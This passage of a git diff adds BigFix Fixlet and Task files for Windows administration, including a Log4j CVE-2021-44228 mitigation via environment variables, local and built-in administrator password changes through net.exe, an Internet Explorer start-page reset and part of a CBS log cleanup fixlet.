+<P>This method is <STRONG>limited</STRONG>, as any Java application may override the JAVA_TOOL_OPTIONS environment as part of its startup, but this Fixlet may provide some measure of improvement.&nbsp; Additionaly these may only be effective with specific versions of Java or Log4j.</P>
+<P>Guidance on these values is taken from</P>
+<UL>
+<LI><A href="https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/">https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/</A></LI>
+<LI><A href="https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html"><FONT color=#0066cc>https://docs.oracle.com/javase/8/docs/technotes/guides/troubleshoot/envvars002.html</FONT></A></LI>
+<LI><A href="http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E">http://mail-archives.apache.org/mod_mbox/flink-user/202112.mbox/%3Cf04c6b32-1073-a002-3633-bf4af981bf08@apache.org%3E</A></LI>
+<LI></LI></UL>
+<P>This Fixlet applies the following Envrionment Variable values on Windows:</P>
+<UL>
+<LI>JAVA_TOOL_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>JDK_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>_JAVA_OPTIONS = -Dlog4j.formatMsgNoLookups=true (preserving any existing entries)</LI>
+<LI>LOG4J_FORMAT_MSG_NO_LOOKUPS = true (overwriting any existing entry)</LI></UL>
+<P><BR></P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance>not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string OR not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-12-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Dec 2021 17:50:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if {not exists values &quot;JAVA_TOOL_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M JAVA_TOOL_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JAVA_TOOL_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;JDK_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M JDK_JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;JDK_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;_JAVA_OPTIONS&quot; whose (it as string contains &quot;-Dlog4j.formatMsgNoLookups=true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M _JAVA_OPTIONS &quot;-Dlog4j.formatMsgNoLookups=true {value &quot;_JAVA_OPTIONS&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string | &quot;&quot;}&quot;&quot;
+endif
+
+if {not exists values &quot;LOG4J_FORMAT_MSG_NO_LOOKUPS&quot; whose (it as string = &quot;true&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry as string}
+waithidden cmd.exe /c &quot;setx /M LOG4J_FORMAT_MSG_NO_LOOKUPS &quot;true&quot;&quot;
+endif
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes b/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes
new file mode 100644
index 000000000..8a7805a93
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Change Built-in Administrator Password - Windows
+  ID       : 9150
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-02-16T15:18:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Change Built-in Administrator Password - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists users whose( exists (it as lowercase) whose(it = "administrator") of names of it AND exists password ages whose(it = 0 * second OR it > 8 * day) of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-02-16</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 Feb 2016 22:18:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// Related: https://bigfix.me/fixlet/details/3670
+// https://forum.bigfix.com/t/newer-actionscript-commands/11677
+
+parameter &quot;username&quot; = &quot;administrator&quot;
+
+// http://www-01.ibm.com/support/knowledgecenter/SS63NW_9.2.0/com.ibm.tivoli.tem.doc_9.2/Platform/Action/c_action_log.html
+action log command
+
+waithidden net user {parameter &quot;username&quot;} { sha256 of concatenation &quot;&quot; of (it as string) of ( (it / second) of uptime of operating system ; (it / second) of (now - (&quot;01 Jan 1970 00:00:00&quot; as universal time)) ) }
+
+continue if {exit code of action = 0}
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes b/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes
new file mode 100644
index 000000000..a127ea69b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Change Internet Explorer Start Page if unchanged from default
+  ID       : 3802
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-01T09:14:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Change Internet Explorer Start Page if unchanged from default</Title>
+    <Description><![CDATA[This action will&nbsp;change the Internet Explorer Start Page if it has not been changed from the default. ]]></Description>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[exists (value "Start Page" of key "Software\Microsoft\Internet Explorer\Main" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase) whose (it contains ".microsoft.com/" OR it contains "/dell?hl=en&client=dell-usuk-rel" OR it contains "startnow.com")]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-09-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 01 Jul 2014 16:09:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\Main" )}]" "Start Page"="http://www.google.com"]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes
new file mode 100644
index 000000000..328922a95
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes	
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password
+  ID       : 27377
+  Author   : danilohs
+  Domain   : BESC
+  Imported : 2025-07-23T05:25:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version&nbsp;greater than 9.5&nbsp;of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret>
+<P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>document.body.ontakeaction = function () {
+    var theSecret = document.getElementById("secret").value;
+    var theSecret2 = document.getElementById("secret2").value;
+
+    if (!theSecret || !theSecret2) {
+        alert("Password fields cannot be left blank. Please enter a password in the Description tab.");
+        return false;
+    } else if (theSecret !== theSecret2) {
+        alert("Passwords do not match. Please re-enter matching passwords in the Description tab.");
+        return false;
+    } else {
+        TakeSecureFixletAction(
+            Relevance('id of current fixlet'),
+            Relevance('id of current bes site'),
+            "Action1",
+            {},
+            { secret: theSecret }
+        );
+    }
+
+    return false;
+};</script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>
+<P>This fixlet is based on the following post on bigfix.me:<BR><A href="https://bigfix.me/fixlet/details/3670">https://bigfix.me/fixlet/details/3670</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.5"]]></Relevance>
+    <Relevance>not exists service &quot;NTDS&quot;</Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-07-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>6076</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>password secure parameters verification</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 23 Jul 2025 12:18:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+if {exists ((name of it as string as lowercase) of users) whose (it as string as lowercase contains parameter &quot;username&quot; of action)}
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+else
+exit 1
+endif
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes
new file mode 100644
index 000000000..f18fed34a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes	
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password - Windows
+  ID       : 3670
+  Author   : jbtyndall
+  Domain   : BESC
+  Imported : 2013-12-06T04:16:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password - Windows</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <script>
+                                                   document.body.ontakeaction = function() {
+                                                                    var theSecret = document.getElementById( "secret" ).value;
+																	if (theSecret==null || theSecret=="")
+																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
+                                                                    else
+																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
+                                                                    return false;
+                                                   }
+                                                   </script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceID>jbt8@psu.edu</SourceID>
+    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes
new file mode 100644
index 000000000..4ceed7119
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes	
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password with verification - Windows
+  ID       : 6076
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2015-05-15T06:54:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password with verification - Windows</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>
+                                                   document.body.ontakeaction = function() {
+                                                                    var theSecret = document.getElementById( "secret" ).value;
+                                                                    var theSecret2 = document.getElementById( "secret2" ).value;
+																	if (theSecret==null || theSecret=="" || theSecret<>theSecret2)
+																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
+                                                                    else
+																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
+                                                                    return false;
+                                                   }
+                                                   </script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceID>jbt8@psu.edu</SourceID>
+    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>user, net.exe, secure parameter, password</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action6558">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/3670</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes
new file mode 100644
index 000000000..a70b53588
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
+  ID       : 11930
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-04-08T11:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
+    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
